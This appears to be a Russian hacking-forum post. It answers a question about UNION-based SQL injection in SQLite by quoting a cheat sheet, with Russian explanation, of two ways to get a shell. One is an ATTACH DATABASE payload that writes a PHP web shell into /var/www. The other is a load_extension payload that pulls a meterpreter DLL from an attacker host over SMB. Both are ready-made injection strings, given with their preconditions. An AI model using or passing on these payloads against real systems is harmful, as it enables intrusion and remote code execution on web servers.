Сообщение от
Pirotexnik
Pirotexnik said:
инъекция в SQLite. Обычная UNION-based.
Никогда с ними не сталкивался. Таблы вытянул из
sqlite_master
. Как вытянуть
колонки
?
Читал про какуй-то альтернативный метод залития шелла. LOAD_EXTENSION()
Но не совсем понял, как он работает. Дайте доков по сабжу.
2 способа получения шелла на SQLite
Getting Shell Trick 1 - ATTACH DATABASE
What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example:
?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;--
Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer.
Теперь по-русски. Приведённый запрос пытается подключить дополнительную БД ( указанную в файле /var/www/lol.php ) в твой запрос к БД. Если этот файл отсутствует, он автоматически создастся - то, что нам и надо.
Зависимости:
MQ=off
Full_path_disclosure=1
Getting Shell Trick 2 - SELECT load_extension
Takes two arguments:
A library (.dll for Windows, .so for NIX)
An entry point (SQLITE_EXTENSION_INIT1 by default)
This is great because
This technique doesn't require stacked queries
The obvious - you can load a DLL right off the bat (meterpreter.dll?
Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example:
?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter .dll','DllMain');--
В этом примере используется Samba протокол для доступа к хосту злоумышленника, где в качестве плагина для SQLite скачаивает "ядовитую" начинку. Тут нужно обратить внимание с какой ОС Вы имеете дело - либо Windows (тогда расширение у файла должно быть .dll ), либо Unix (расширение .so соответственно).
Proof = _ttps://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet